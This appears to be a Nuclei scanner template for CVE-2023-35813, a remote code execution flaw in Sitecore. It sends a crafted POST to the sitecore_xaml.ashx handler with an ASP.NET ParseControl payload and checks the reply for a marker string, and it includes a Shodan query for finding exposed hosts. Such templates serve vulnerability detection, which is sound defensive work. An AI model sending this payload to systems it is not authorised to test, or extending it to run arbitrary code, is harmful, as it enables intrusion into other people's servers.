55 lines
1.8 KiB
YAML
55 lines
1.8 KiB
YAML
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id: CVE-2023-35813
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info:
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name: Sitecore - Remote Code Execution
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author: DhiyaneshDk,iamnoooob
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severity: critical
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description: |
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Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
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reference:
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- https://support.sitecore.com/kb?id=kb_article_view\u0026sysparm_article=KB1002979
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- https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
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- https://nvd.nist.gov/vuln/detail/CVE-2023-35813
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-35813
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cwe-id: CWE-22,CWE-23
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epss-score: 0.00201
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epss-percentile: 0.57635
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cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: sitecore
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product: experience_commerce
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shodan-query: title:"Sitecore"
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tags: cve,cve2023,sitecore,rce
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variables:
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string: "{{rand_base(6)}}"
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payload: |
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<%@Register
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TagPrefix = 'x'
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Namespace = 'System.Runtime.Remoting.Services'
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Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
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%>
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<x:RemotingService runat='server'
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Context-Response-ContentType='{{string}}'
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/>
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http:
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- raw:
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- |
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POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl("{{url_encode(payload)}}")
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matchers:
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- type: dsl
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dsl:
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- contains(content_type, '{{string}}')
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- contains_all(body, 'commands', 'command', 'value')
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- status_code == 200
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condition: and
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